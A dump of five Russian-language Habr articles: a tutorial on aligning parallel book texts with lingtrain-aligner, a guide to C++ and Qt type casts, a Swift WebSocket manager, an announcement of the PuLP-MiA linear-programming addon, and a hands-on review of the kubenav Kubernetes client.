```
Определим пути до входных файлов и прочитаем все строки в переменные:
```
text1_input = "harper_lee_ru.txt"
text2_input = "harper_lee_en.txt"
with open(text1_input, "r", encoding="utf8") as input1:
text1 = input1.readlines()
with open(text2_input, "r", encoding="utf8") as input2:
text2 = input2.readlines()
```
Определим также путь до SQLite базы данных (это хранилище со всей необходимой для выравнивания информацией) и параметрами языка *lang\_from* и *lang\_to*. Эти параметры очень важны, так как они влияют на правила разбиения строк на предложения:
```
db_path = "db/book.db"
lang_from = "ru"
lang_to = "en"
models = ["sentence_transformer_multilingual", "sentence_transformer_multilingual_labse"]
model_name = models[0]
```
Получить список всех доступных языков можно следующей командой:
```
splitter.get_supported_languages()
```
Если нужного языка в списке пока нет, но он поддерживаются моделями, то используйте код **xx**, тогда к тексту будут применены стандартные правила фильтрации и разбиения на предложения. Модель *sentence\_transformer\_multilingual* работает быстрее и поддерживает 50+ языков, *sentence\_transformer\_multilingual\_labse* поддерживает 100+ языков.
Добавим к текстам метки абзацев:
```
text1_prepared = preprocessor.mark_paragraphs(text1)
text2_prepared = preprocessor.mark_paragraphs(text2)
```
Разобьем документы на строки:
```
splitted_from = splitter.split_by_sentences_wrapper(text1_prepared , lang_from, leave_marks=True)
splitted_to = splitter.split_by_sentences_wrapper(text2_prepared , lang_to, leave_marks=True)
```
Создадим нашу базу данных и наполним ее данными, взятыми из нашей разметки. В базе хранятся строки с координатами абзацев и глав, метаданные, маппинг выровненных строк на их изначальный состав и местоположение. Такая структура позволяет писать для этого хранилища UI, в котором можно проводить различные манипуляции с корпусом. Это [отдельный проект](https://github.com/averkij/lingtrain-aligner-editor), о нем в следующий раз.
```
aligner.fill_db(db_path, splitted_from, splitted_to)
```
Теперь можно выровнять документы. Процесс выравнивания идет кусками с размером *batch\_size*, вокруг каждого куска берется дополнительное количество строк размера *window*, чтобы гарантированно захватить необходимые строки. Модель берет заданное количество строк первого текста и подбирает в соответствующем фрагменте второго текста лучшие соответствия, используя векторные представления. На этом основывается первоначальное выравнивание. Для того, чтобы выровнять первые четыреста строк, выполним следующую команду.
```
batch_ids = [0,1,2,3]
aligner.align_db(db_path, \
model_name, \
batch_size=100, \
window=30, \
batch_ids=batch_ids, \
save_pic=False,
embed_batch_size=50, \
normalize_embeddings=True, \
show_progress_bar=True
)
```
Результат выравнивания
----------------------
Теперь можно посмотреть на результат первичного выравнивания! Это возможно благодаря тому, что в базе мы храним изначальные номера строк для выровненного корпуса. Воспользуемся модулем **vis\_helper**. Так как строк у нас 400, то нарисуем все на одной картинке, задав параметр *batch\_size=400*. Если указать, например, *batch\_size=50*, то получим 4 картинки по-меньше.
```
vis_helper.visualize_alignment_by_db(db_path, output_path="alignment_vis.png", \
lang_name_from=lang_from, \
lang_name_to=lang_to, \
batch_size=400, \
size=(800,800), \
plt_show=True)
```
Посмотрим на картинку. Выравнивание предсказуемо идет от начала к концу, но есть конфликты. Основных причин две:
* У модели было слишком много удачных вариантов.
+ Так случается, если строка короткая. Например, в тексте идет диалог, фразы в нем односложные, используются одни и те же имена.
* У модели было слишком мало вариантов и правильного среди них нет.
+ У текстов разные тенденции к разделению на предложения. Один постепенно "убегает из окна" и мы не ищем правильные варианты там, где надо. Окно можно увеличить, но не слишком сильно, потому что у модели становится больше вариантов для ошибок. Нужен компромисс.
Хорошим решением мне видится регрессия на координаты строк при выравнивании батча и сдвиг окна на конец потока при выравнивании следующего. Минусом тут будет потеря возможности распараллеливания обсчета батчей, так как они станут зависимы друг от друга.
Сейчас окно сдвигается на основе отношения длин текстов. Батчи не зависимы, но есть другая проблема, — если один из текстов это только часть книги, а второй текст полный, то окно быстро убежит от правильного потока выравнивания.
Меня зовут Уинстон Вульф. Я решаю проблемы.
-------------------------------------------
Давайте теперь разбираться с шероховатостями. Глядя на картинку, мы видим, что есть непрерывные цепочки, есть разрывы и есть выбросы. Например, для предложений 10,11,12 модель подобрала предложения 15,16,17 из второго текста. Эта цепочка хорошая. Все, что находится между цепочками назовем конфликтом. При таком определении конфликта можно измерить его размер и подобрать стратегию разрешения. Логика по решению проблем находится в модуле **resolver**.
Для начала давайте посмотрим на все найденные конфликты:
```
conflicts_to_solve, rest = resolver.get_all_conflicts(db_path, min_chain_length=2, max_conflicts_len=6)
```
```
conflicts to solve: 46
total conflicts: 47
```
При этом в переменную *conflicts\_to\_solve* попадут конфликты, которые соответствуют заданным параметрам поиска, а в переменную *rest* остальные.
Выведем на экран статистику:
```
resolver.get_statistics(conflicts_to_solve)
resolver.get_statistics(rest)
```
```
('2:3', 11)
('3:2', 10)
('3:3', 8)
('2:1', 5)
('4:3', 3)
('3:5', 2)
('6:4', 2)
('5:4', 1)
('5:3', 1)
('2:4', 1)
('5:6', 1)
('4:5', 1)
('8:7', 1)
```
Видим, что чаще всего попадаются конфликты размера 2:3 и 3:2, это означает, что одно из предложений было переведено как два, либо два предложения были слиты в одно.
Посмотреть на конфликт можно следующей командой:
```
resolver.show_conflict(db_path, conflicts_to_solve[10])
```
```
124 Дом Рэдли стоял в том месте, где улица к югу от нас описывает крутую дугу.
125 Если идти в ту сторону, кажется, вот—вот упрешься в их крыльцо.
126 Но тут тротуар поворачивает и огибает их участок.
122 The Radley Place jutted into a sharp curve beyond our house.
123 Walking south, one faced its porch; the sidewalk turned and ran beside the lot.
```
Видим, что строки 125 и 126 нужно бы сложить в одну, тогда правильное сопоставление выглядело бы как [124]-[122] и [125,126]-[123]. Как же научить этому программу? Так как она уже умеет выбирать лучший из предоставленных вариантов, то давайте ей их и предоставим. Конфликты у нас не очень большие, поэтому мы будем брать все возможные варианты разрешения конфликта, считать для них коэффициент похожести, суммировать и брать лучший. В данном случае это будет два варианта:
1. [124,125]-[122] // [126]-[123]
2. [124]-[122] // [125,126]-[123]
Что до стратегии выравнивания, то на данный момент лучше всего себя проявила такая, — сначала ищем конфликты при минимальной длине хорошей цепочки 2 (при таком параметре конфликтов найдется больше всего) и максимальной длиной конфликта не больше 6. Разрешаем все найденные конфликты, при этом большие конфликты становятся меньше так мы их частично разрешили. Затем увеличиваем оба параметра, ищем и снова разрешаем, добивая остатки.
Выглядит это так:
```
steps = 3
batch_id = -1 #выровнять все доступные батчи
for i in range(steps):
conflicts, rest = resolver.get_all_conflicts(db_path, min_chain_length=2+i, max_conflicts_len=6*(i+1), batch_id=batch_id)
resolver.resolve_all_conflicts(db_path, conflicts, model_name, show_logs=False)
vis_helper.visualize_alignment_by_db(db_path, output_path="img_test1.png", batch_size=400, size=(800,800), plt_show=True)
if len(rest) == 0:
break
```
Результат после первого шага:
И после второго:
На выходе мы имеем файл *book.db*. Теперь мы можем перейти к созданию книги.
### Конфликты на концах интервала
Отметим, что алгоритм находит конфликты только между цепочками, поэтому разрывы могут остаться на концах интервала. Для разрешения таких конфликтов есть методы:
```
resolver.fix_start(db_path, model_name, max_conflicts_len=20)
```
и
```
resolver.fix_end(db_path, model_name, max_conflicts_len=20)
```
Книги и стили
-------------
За создание книжки отвечает модуль **reader**.
```
from lingtrain_aligner import reader
```
Сначала прочитаем из базы тексты, разбитые по абзацам, и данные о главах:
```
paragraphs_from, paragraphs_to, meta = reader.get_paragraphs(db_path, direction="from")
```
Параметр *direction* ["from", "to"] показывает на основе какого текста делить выравнивание на абзацы. Это дает нам возможность лучше подредактировать только один текст (например, русский) и на его основе сформировать книгу.
Теперь передадим данные в метод *create\_book()*:
```
reader.create_book(paragraphs_from, paragraphs_to, meta, output_path = f"lingtrain.html")
```
Получим вот такую книгу:
Это обыкновенная html страничка со встроенными стилями. В стили я добавил модификаторы, поэтому ее можно распечатать или сохранить как pdf, при этом шрифт с полями станут меньше.
### Стилизация
У нас в загашнике осталась информация о соответствии пар предложений. Давайте ее задействуем, дополнительная подсветка поможет при подготовке материалов для обучения. Чтобы это сделать зададим параметр *template*.
```
reader.create_book(paragraphs_from, paragraphs_to, meta, output_path = f"lingtrain.html", template="pastel_fill")
```
```
reader.create_book(paragraphs_from, paragraphs_to, meta, output_path = f"lingtrain.html", template="pastel_start")
```
Шаблонов стилей пока немного, предлагайте свои кастомные стили, добавим их в библиотеку.
### Кастомные стили
Зададим параметр *template="custom"* и передадим объект styles. Этот объект представляет из себя массив CSS стилей, которые будут применены к предложениям каждого абзаца **циклически**.
Например, подсветим каждое втрое предложение в абзаце желтым цветом начиная со второго:
```
my_style = [
'{}',
'{"background": "#fafad2"}',
]
reader.create_book(paragraphs_from, paragraphs_to, meta, output_path = f"lingtrain.html", template="custom", styles=my_style)
```
Задавать можно любые применимые к span'ам стили:
```
my_style = [
'{"background": "linear-gradient(90deg, #FDEB71 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #ABDCFF 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #FEB692 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #CE9FFC 0px, #fff 150px)", "border-radius": "15px"}',
'{"background": "linear-gradient(90deg, #81FBB8 0px, #fff 150px)", "border-radius": "15px"}'
]
reader.create_book(paragraphs_from, paragraphs_to, meta, output_path = f"lingtrain.html", template="custom", styles=my_style)
```
Заключение
----------
В голове есть еще много идей по доработкам и дополнительным фишкам. Например, можно сделать мультиязычные книги, можно доставать из текста ключевые предложения и искать по ним картинки (или [генерировать нейросетями](https://openai.com/blog/dall-e/)), можно делать пословное выравнивание и много чего еще. Пока же хочется поделиться промежуточным результатом с сообществом и выслушать ваше мнение.
Ссылки
------
[1] [Код lingtrain-aligner на github](https://github.com/averkij/lingtrain-aligner).
[2] [Выровнять тексты в Google Colab](https://colab.research.google.com/drive/1r8vHKn_2vreu8AWTzOgk1CbWrDnWmdyC).
[3] [Sentence Transformers модели](https://www.sbert.net/docs/pretrained_models.html).
[4] [Making Monolingual Sentence Embeddings Multilingual using Knowledge Distillation](https://arxiv.org/abs/2004.09813)
[5] [Language Agnostic BERT Sentence Encoder](https://tfhub.dev/google/LaBSE/1). | https://habr.com/ru/post/557664/ | null | ru | null |
# Приведение типов
Будучи на конференции Qt Developer Days 2010 я узнал, что одним из самых популярных вопросов на собеседовании в разные зарубежные компании, работающие с Qt библиотекой, является вопрос о различиях в способах приведения типов в C++. Поэтому здесь я рассмотрю основные различия между **static\_cast**, **dynamic\_cast**, **const\_cast**, **reinterpret\_cast**, **C-style cast**, **qobject\_cast** и **qvariant\_cast**
1. **static\_cast**.
Синтаксис:
```
TYPE static_cast (object);
```
static\_cast преобразует выражения одного статического типа в объекты и значения другого статического типа. Поддерживается преобразование численных типов, указателей и ссылок по иерархии наследования как вверх, так и вниз. Проверка производится на уровне компиляции, так что в случае ошибки сообщение будет получено в момент сборки приложения или библиотеки.
2. **dynamic\_cast**
Синтаксис:
```
TYPE& dynamic_cast (object);
TYPE\* dynamic\_cast (object);
```
Используется для динамического приведения типов во время выполнения. В случае неправильного приведения типов для ссылок вызывается исключительная ситуация std::bad\_cast, а для указателей будет возвращен 0. Использует систему RTTI (Runtime Type Information). Безопасное приведение типов по иерархии наследования, в том числе для виртуального наследования.
3. **const\_cast**.
Синтаксис:
```
TYPE const_cast (object);
```
Пожалуй самое простое приведение типов. Снимает cv qualifiers — const и volatile, то есть константность и отказ от оптимизации компилятором переменной. Это преобразование проверяется на уровне компиляции и в случае ошибки приведения типов будет выдано сообщение.
4. **reinterpret\_cast**
Синтаксис:
```
TYPE reinterpret_cast (object);
```
Приведение типов без проверки. reinterpret\_cast — непосредственное указание компилятору. Применяется только в случае полной уверенности программиста в собственных действиях. Не снимает константность и volatile. применяется для приведения указателя к указателю, указателя к целому и наоборот.
5. **C-style cast**
Синтаксис:
```
TYPE (TYPE*) object;
```
Си-шный метод приведения типов. Пожалуй самый нежелательный способ приведения типов. Страуструп пишет:
«Например, что это значит выражение — *x = (T)y;*. Мы не знаем. Это зависит от типа T, типов x и y. T может быть названием типа, typedef или может быть параметр template-а. Может быть, х и у являются скалярными переменными и Т представляет собой значение преобразования. Может быть, х объекта класса, производного от класса Y и Т — нисходящее преобразование. По этой причине программист может не знать, что он делает на самом деле.»
Вторая причина нежелательного использования приведения типов в C-style — трудоемкость процесса поиска мест приведения типов.
6. **qobject\_cast**
Синтаксис:
```
TYPE qobject_cast(QObject \*object)
```
Приводит объект QObject\* к типу TYPE если объект типа объекта TYPE или тип наследует от TYPE иначе возвращает 0. qobject\_cast от 0 также дает 0. Необходимое условие. Класс должен наследовать от QObject и содержать в себе макрос Q\_OBJECT. Функция ведет себя аналогично стандартному dynamic\_cast, но при этом не использует RTTI. Вот как описана данная функция в Qt 4.7.0:
> `1. template <class T>
> 2. inline T qobject\_cast(QObject \*object)
> 3. {
> 4. #if !defined(QT\_NO\_MEMBER\_TEMPLATES) && !defined(QT\_NO\_QOBJECT\_CHECK)
> 5. reinterpret\_cast(0)->qt\_check\_for\_QOBJECT\_macro(\*reinterpret\_cast(object));
> 6. #endif
> 7. return static\_cast(reinterpret\_cast(0)->staticMetaObject.cast(object));
> 8. }
> \* This source code was highlighted with Source Code Highlighter.`
Итак, что тут происходит:
Во-первых если не определены QT\_NO\_MEMBER\_TEMPLATES (определяется только в том случае, если используется версия Microsoft Visual Studio ниже 2002) и QT\_NO\_QOBJECT\_CHECK (определяется в случае использования версии Microsoft Visual Studio ниже 2003), то происходит проверка наличия макроса Q\_OBJECT в объявлении класса. И после этого выполняется непосредственно само преобразование — сначала получаем статический объект класса QMetaObject, который называется staticMetaObject, у которого вызывается метод cast, который возвращает const\_cast переданного ему объекта, попутно проверяя наследуется ли данный объект от QObject. Далее полученному объекту делается static\_cast и возвращается результат.
7. **qvariant\_cast**
Синтаксис:
```
TYPE qvariant_cast(const QVariant &value)
```
Приводит объект класса QVariant к нужному классу. Функция аналогична функции qVariantValue.
Рассмотрим, что происходит внутри:
> `1. template inline T qvariant\_cast(const QVariant &v)
> 2. {
> 3. const int vid = qMetaTypeId(static\_cast(0));
> 4. if (vid == v.userType())
> 5. return \*reinterpret\_cast<const T \*>(v.constData());
> 6. if (vid < int(QMetaType::User)) {
> 7. T t;
> 8. if (qvariant\_cast\_helper(v, QVariant::Type(vid), &t))
> 9. return t;
> 10. }
> 11. return T();
> 12. }
> \* This source code was highlighted with Source Code Highlighter.`
В первой секции кода производится получение идентификатора класса через метасистему Qt. В том случае если класс не зарегистрирован через Q\_DECLARE\_METATYPE, компиляция кода с приведением к этому типу выдаст ошибку. Далее, если тип объекта, полученный от метасистемы совпадает с типом в значении QVariant, производится reinterpret\_cast содержимого объекта, если идентификатор класса не является встроенным типом и его id не совпадает с заложенным в значении QVariant, то возвращается TYPE(). Для случаев, когда мы приводим к встроенному типу, вызывается функция qvariant\_cast\_helper, которая вызывает в свою очередь функцию convert, адрес которой хранится в структуре Handler. В ней уже осуществляется приведение способом подходящим для типа TYPE. Если конвертация не удалась возвращается объект TYPE()
**UPD:** C-style cast по сути самое медленное преобразование, так как в этом случае последовательно перебираются следующие вызовы:
* const\_cast
* static\_cast
* static\_cast + const\_cast
* reinterpret\_cast
* reinterpret\_cast + const\_cast
**UPD:** Спасибо [BaJlepa](https://habrahabr.ru/users/bajlepa/):
1. const\_cast также умеет добавлять cv-квалификаторы
2. для преобразования указателей лучше использовать двойной static\_cast через void\* вместо reinterpret\_cast, потому как такое преобразование позволяет быть уверенным в том, что только pointer-ы участвуют в приведении
Источники:
а) <http://alenacpp.blogspot.com/2005/08/c.html>
б) [http://www.cppreference.com](http://www.cppreference.com/)
в) <http://www.cplusplus.com/doc/tutorial/typecasting/>
г) <http://doc.qt.nokia.com/4.7/qobject.html#qobject_cast>
д) <http://www2.research.att.com/~bs/bs_faq2.html>
е) <http://doc.qt.nokia.com/4.7/qvariant.html#qvariant_cast>
**UPD:** ж)<http://www.rsdn.ru/Forum/Info/FAQ.cpp.c-stylecast.aspx> | https://habr.com/ru/post/106294/ | null | ru | null |
# Вариант работы с вебсокетами в iOS на языке Swift / Написал менеджер для работы с websocket
Всем привет.
4 года назад я уже разбирался с вебсокетами в iOS, тогда я решил задачу с помощью одной из библиотек cocoapods, [статья есть на Хабре](https://habr.com/ru/post/277635/). А сегодня хочу продемонстрировать еще одно решение, нативное без cocoapods.
Я написал свой менеджер для работы с вебсокетами (Менеджер в данном случае синглтон класс который может быть вызван в любом месте приложения, так как это синглтон его экземпляр будет создан только один раз для всего приложения).
Воспользуюсь я для своих целей нативными средствами.
```
import Foundation
class WSManager {
public static let shared = WSManager() // создаем Синглтон
private init(){}
private var dataArray = [МОДЕЛЬ_МОИХ_ДАННЫХ]()
let webSocketTask = URLSession(configuration: .default).webSocketTask(with: URL(string: "wss://ТУТ_ВАШ_АДРЕС"*))
//функция вызова подключения
public func connectToWebSocket() {
webSocketTask.resume()
self.receiveData() { _ in }
}
//функция подписки на что либо
public func subscribeBtcUsd() {
let message = URLSessionWebSocketTask.Message.string("SUBSCRIBE: НА_ЧТО_ПОДПИСЫВАЕМСЯ")
webSocketTask.send(message) { error in
if let error = error {
print("WebSocket couldn’t send message because: \(error)")
}
}
}
//функция отписки от чего либо
public func unSubscribeBtcUsd() {
let message = URLSessionWebSocketTask.Message.string("UNSUBSCRIBE: ОТ_ЧЕГО_ОТПИСЫВАЕМСЯ ")
webSocketTask.send(message) { error in
if let error = error {
print("WebSocket couldn’t send message because: \(error)")
}
}
}
//функция получения данных, с эскейпингом чтобы получить данные наружу
func receiveData(completion: @escaping ([МОДЕЛЬ_МОИХ_ДАННЫХ]?) -> Void) {
webSocketTask.receive { result in
switch result {
case .failure(let error):
print("Error in receiving message: \(error)")
case .success(let message):
switch message {
case .string(let text):
let data: Data? = text.data(using: .utf8)
let srvData = try? CODABLE_МОДЕЛЬ_ТОГО_ЧТО_ДОЛЖНО_ПРИЙТИ.decode(from: data ?? Data())
for singleData in srvData ?? [] {
self.dataArray.append(МОДЕЛЬ_МОИХ_ДАННЫХ(параметр1: singleData.parametr1, параметр2: singleData.parametr2, параметр3: singleData.parametr3))
}
case .data(let data):
// В вашем варианте данные могут приходить сразу сюда
print("Received data: \(data)")
@unknown default:
debugPrint("Unknown message")
}
self.receiveData() {_ in } // рекурсия
}
}
completion(self.dataArray) // отправляем в комплишн то что насобирали в нашу модель
}
}
```
Вот такой менеджер получился, пример вызова
```
import UIKit
class MainViewController: UIViewController {
private var dataArray = [МОДЕЛЬ_МОИХ_ДАННЫХ]()
override func viewDidLoad() {
super.viewDidLoad()
WSManager.shared.connectToWebSocket() // подключаемся
WSManager.shared.subscribeBtcUsd() //подписываемся на получение данных
self.getData() //получаем данные
}
private func getData() {
//получаем данные
WSManager.shared.receiveData() { [weak self] (data) in
guard let self = self else { return }
guard let data = data else { return }
self.dataArray = data // кладем данные в переменную и дальше можно делать с ними то что требуется
}
}
}
```
\*по поводу адреса
wss:// это аналог https://
ws:// это аналог http://
Вот такой вариант работы с вебсокетом получился, если есть вопросы, пожелания, поучения как сделать лучше, пишите, буду рад :)
Тестовый пример доступен у меня в [гитхабе](https://github.com/aposnov/CandleStickChart)
Также я использую extension для Decodable который доступен тоже у меня в [гитхабе](https://github.com/aposnov/SwiftExtensions/blob/master/Extensions.swift)
я про вот эту часть
```
let srvData = try? CODABLE_МОДЕЛЬ_ТОГО_ЧТО_ДОЛЖНО_ПРИЙТИ.decode(from: data ?? Data())
``` | https://habr.com/ru/post/485468/ | null | ru | null |
# PuLP-MiA: Мультииндексный аддон для PuLP (python-библиотека линейного программирования)
Привет, Хабр! Сейчас будет мини-пост без единой строки кода для тех, кто имеет дело с **многоиндексными задачами ЛП** (линейное программирование) в **Python** и решает их при помощи библиотеки-порта **PuLP**… Это ненадолго :-)
При формализации задач ЛП довольно часто приходится иметь дело с многоиндексными переменными. При работе с задачами большой размерности — это, прямо скажем, привычное дело.
Взаимосвязи таких многоиндексных переменных в целевой функции (линейная форма — она же линейный критерий оптимизации) и ограничениях (в виде линейных равенств и неравенств) следует генерировать программно. При работе с PuLP (библотека-порт ЛП для Python) используют два основных подхода к такой генерации:
1. Генерация матрицы А (матрица ограничений) с помощью генераторов списков Python явным образом. Например, так: [Sudoku problem](http://coin-or.github.io/pulp/CaseStudies/a_sudoku_problem.html)
2. Генерация символьных переменных с привязкой к индексам через словари в неявном виде. Это может быть реализовано вручную через dict или же с помощью [плагина для PuLP](http://coin-or.github.io/pulp/CaseStudies/a_sudoku_problem.html)
Классическая задача ЛП практически любой размерности может быть легко формализована любым из данных способов, но при разработке новых структур ограничений (особенно, когда логика взаимосвязей переменных меняется усложняется, появляются новые по смыслу переменные, происходит отказ от каких-либо индексов или вводятся новые индексы, происходит агрегирование/декомпозиция групп переменных и др.) требуется легкое отслеживание многоиндексных переменных в самом программном коде Python, что напрямую отсутствует в вышеописанных подходах.
Для решения этой задачи и предлагается использовать аддон [PuLP-MiA](http://pypi.org/project/PuLP-MiA/) (ссылка на репозиторий с кратким описанием функционала).
Автор далек от мысли, что это решение всех проблем, возникающих при формализации и решении задач ЛП со сложной структурой ограничений, однако в многолетней практике (особенно, когда модификация происходит с большими временными перерывами) подход себя неплохо зарекомендовал, преимущественно за счет следующих удобств:
* О создание/привязка к существующим переменных происходит автоматически
* Явная связь *имени* переменной и ее *индексов*
* Имя переменной — произвольная строка
* Индексы — числовые значения
* Количество индексов — условно неограничено (индексов может вообще не быть)
* Результаты решения задачи ЛП выдаются в виде словаря, где ключи — *ненулевые* многоиндексные переменные (поведение можно изменить)
Возможно, кому-то сильно пригодится аддон в длительном исследовании операций. Лицензия MIT. Устанавливается традиционно через [pip](http://pypi.org/project/pip/).
P.S. Для тех, кто дочитал, все-таки будет небольшой
**пример формирования серии ограничений))**
```
from itertools import product
from pulp_mia import Task, Constraint
i_set = list(range(5))
j_set = list(range(5))
m_set = list(range(2))
g_set = list(range(4))
s_set = list(range(5))
k_set = list(range(5))
task = Task(debug=True)
for i, m, g, s, k in product(i_set, m_set, g_set, s_set, k_set):
a_new = Constraint('<=')
for j in j_set:
a_new.setCoeff(('x', i, j, m, g, s, k), 1)
a_new.setBValue(1)
task.addConstraint(a_new)
print(task)
#TASK info:
# NAME: test-task
# SIZE: 5000 x 1000
```
(остальное см. в [кратком описании аддона](http://github.com/Palich239/PuLP-MiA))
P.P.S. да-да, где-то глубоко под капотом живет обычный словарь. | https://habr.com/ru/post/532126/ | null | ru | null |
# Обзор kubenav для управления Kubernetes-кластерами со смартфона
[Kubenav](https://kubenav.io/) — бесплатное приложение с открытым исходным кодом. Его основная цель — предоставление удобного GUI для управления кластером Kubernetes из-под всех возможных платформ. Их ассортимент действительно богат: десктоп-клиенты (для Linux, macOS и Windows), мобильные (для Android и iOS), а также веб-версия.
Возможности и особенности
-------------------------
Приложение написано преимущественно на TypeScript и Go. Разработка была начата почти два года назад, а сегодня у него больше 1100 звезд на [GitHub](https://github.com/kubenav/kubenav).
Основные особенности Kubenav, выделяемые разработчиками:
* Возможность использования на максимально широком спектре устройств. При этом разработчики обещают максимально одинаковый опыт использования на всех платформах, в том числе за счет максимальной унификации кодовой базы.
* Возможность одновременной работы с несколькими Kubernetes-кластерами.
* Поддержка разных вариантов инсталляции K8s: как self-managed, так и облачных кластеров (Google, AWS, Azure, DigitalOcean, Rancher).
А с функциональной точки зрения приложение позволяет:
* просматривать состояние и настройки основных ресурсов кластера (Deployments, StatefulSets, DaemonSets, Pods, и т.д.);
* просматривать события в кластере;
* просматривать логи контейнеров, в том числе в реальном времени;
* попадать в терминал в контейнере (поддерживаются Bash, sh, PowerShell, cmd);
* изменять, удалять и масштабировать ресурсы кластера.
Также стоит отметить, что у Kubenav доступны интеграции (плагины) для Prometheus (для просмотра нужных метрик в панели инструмента), Elasticsearch (для хранения логов) и Jaeger (для трассировки).
Посмотрим на Kubenav в действии.
Интерфейсы и их установка
-------------------------
### 1. Веб-приложение
Этот вариант клиента Kubenav устанавливается в одну команду, что фактически создает в кластере Pod с бэкендом `kubenav` через Kustomize:
```
kubectl apply --kustomize github.com/kubenav/deploy/kustomize
```
Далее, чтобы на него зайти, скажем Kubernetes сделать для нас port-forward:
```
kubectl port-forward --namespace kubenav svc/kubenav 14122
```
Вряд ли на сервере с Kubernetes у вас стоит браузер. Я, конечно, попробовал открыть его через lynx… но, естественно, это не сработало.
Потому прокидываем порт на локальный компьютер:
```
ssh -L 127.0.0.1:14122:127.0.0.1:14122
```
… и заходим в веб-интерфейс по адресу `http://localhost:14122/`.
Выглядит достаточно симпатично и внешне напоминает упрощенную версию обычного [Kubernetes dashboard](https://github.com/kubernetes/dashboard).
Однако важно иметь в виду, что о разграничении прав в данном случае речи не идет: мы получаем *полный* доступ ко всему кластеру. По умолчанию в Deployment включен параметр `--incluster`, из-за чего kubenav не требует `kubeconfig`, а получает полный доступ к API своими силами. Настроить права для него можно, но это нужно еще найти в недрах документации, добравшись до раздела «[Configure Access to Multiple Clusters](https://docs.kubenav.io/web/multi-cluster-access/)».
Выставить веб-интерфейс наружу из коробки на постоянной основе тоже нельзя, потому что авторизации здесь не предусмотрено. Basic Auth или что-то подобное придется делать самостоятельно.
### 2. Приложение для ПК
Это приложение существует для всех основных платформ: Linux (amd64/arm64), macOS (amd64/arm64), Windows (x64). Скачать его можно со [страницы релизов](https://github.com/kubenav/kubenav/releases). Приложение распространяется в виде единственного исполняемого файла, так что установка не требуется.
Разработчики не стали подписывать его для Windows, из-за чего Windows Defender ругается при каждом запуске. Кроме того, стабильность приложения под Windows вызывает вопросы: у меня оно нормально запускалось только на одном из трех доступных компьютеров, и от чего это зависит — понимания нет. Впрочем, когда приложение под Windows все же запустилось, проблем в дальнейшей работе не возникло. Под Linux все работало и запускалось стабильно.
Также в поведении этого клиента случайно обнаружилась смешная особенность, связанная с тем, что бэкенд занимает под себя порт 14122. Если под Windows пробросить этот порт аналогично варианту с веб-интерфейсом, приложение «зацепится» за него. Поэтому, если мы не делали специальных настроек Deployment’а, что развернут в Kubernetes для веб-интерфейса kubenav, получим подключение к кластеру с полными правами, которое не надо настраивать. Linux таких фокусов вытворять не дает.
Внешний вид полностью повторяет веб-интерфейс, поэтому смысла в отдельном скриншоте нет.
### 3. Мобильное приложение
Приложение kubenav под мобильные платформы выглядит аналогично остальным. И устанавливается банально из магазинов Google Play / App Store; какой-то специфики здесь нет. А к особенностям и внешнему виду мобильного приложения вернемся чуть позже — после того, как рассмотрим общие для всех клиентов функции.
Сразу после установки у мобильной версии не все очевидно с настройкой кластеров. Во-первых, хоть и заявлена возможность импортировать `kubeconfig` из файла, ни на одном из доступных мне телефонов (три модели с Android) сделать это не получилось: работает только ввод конфигурации в текстовое поле. Во-вторых, из списка кластеров нельзя удалить ненужный. Это странно, но кнопки удаления просто нет (и долгое нажатие тоже не работает).
Использование в сравнении с K8s dashboard
-----------------------------------------
Нужно отдать должное разработчикам: опыт использования действительно одинаков на всех устройствах. Потому буду далее для иллюстраций использовать веб-версию.
А предлагаемые возможности сравню с уже упомянутой Kubernetes dashboard.
Набор доступных для просмотра ресурсов у kubenav примерно аналогичен обычной dashboard. Тут Pods и все «вокруг» них (Jobs, CronJobs, Deployments, StatefulSets…), PV/PVC, Services, Network Policies… Перечислять все, пожалуй, избыточно.
Из отличий в пользу kubenav:
* несколько дополнительных пунктов (HPA, Pod Disruption Budgets), которые не выглядят очень уж важными;
* собранные в отдельный пункт события кластера — Events (в K8s dashboard их тоже можно посмотреть, но внутри конкретных объектов, к которым они относятся).
Отличия в обратную сторону (недостатки kubenav) — отсутствие графиков использования CPU и RAM. Конечно, они не могут являться полноценной заменой связке Prometheus + Grafana, но для общего понимания бывают полезны.
Кстати, к вопросу мониторинга: плагин Prometheus запустить не получилось. В веб-интерфейсе добавить его можно, но настройки не появляются. А в мобильном приложении после его включения для настройки доступны всего «три с половиной» поля, но при попытке их открытия приложение зависает.
При просмотре конкретных ресурсов — например, свойства Pod — отображаемый список у обоих панелей примерно одинаков и достаточен. Но у kubenav есть неприятная особенность: в списках labels, annotations и т.п. все элементы кликабельны, однако ничего не делают. В K8s dashboard более понятное поведение: если элемент кликабелен — значит, он будет что-то делать.
Редактирование ресурсов в обоих панелях реализовано через веб-редактор, а технически отредактированное применяется через `kubectl apply -f <>`. Тут из различий только то, что K8s dashboard понимает не только YAML, но и JSON.
Обе панели позволяют сделать `exec` внутрь Pod. Но kubenav хочет явного указания, какой из shell’ов запускать. А если такого shell’а нет внутри Pod’а — не будет даже сообщения об ошибке, можно просто бесконечно ждать. K8s dashboard изначально пробует зайти под Bash, если его нет — запускает sh.
Просмотр логов, по моему мнению, лучше организован в K8s dashboard: он позволяет переключаться между current/previous logs, включать follow и auto refresh на лету. В kubenav для этого придется закрыть окно с логами и открыть заново в другом режиме. А еще обычная dashboard позволяет скачать логи файлом — пусть это и не killer feature, иногда пригождается.
Те ресурсы, которые позволяют сделать им `scale`, масштабируются вполне успешно. Тут же рядом можно сделать `kubectl reload restart`. Эти функции работают без нареканий.
И снова о мобильной версии
--------------------------
В контексте применения панели управления на смартфоне мобильное приложение от kubenav безусловно выигрывает, и это заслуживает отдельного рассмотрения. Хотя бы просто по той причине, что Kubernetes dashboard на доступных мне устройствах выглядит примерно так:
В landscape-режиме все чуть лучше, но здесь клавиатура будет закрывать практически все, так что любой ввод придется делать на ощупь.
Сравните с kubenav:
Здесь ему же в плюс идет то, что благодаря единой кодовой базе совпадают и функциональные возможности всех клиентов kubenav (web, desktop и mobile). В общем, управление Kubernetes на смартфоне действительно выглядит качественно удобнее.
Однако не обошлось без ложки дегтя в бочке меда. Ввод в shell в контейнере работает несколько странно… Вот я пытаюсь набрать слово «text»:
Причем так себя ведет и gboard, и swift keyboard. Допускаю, что можно найти и клавиатуру, которая будет вести себя «прилично», но по умолчанию получается вот так.
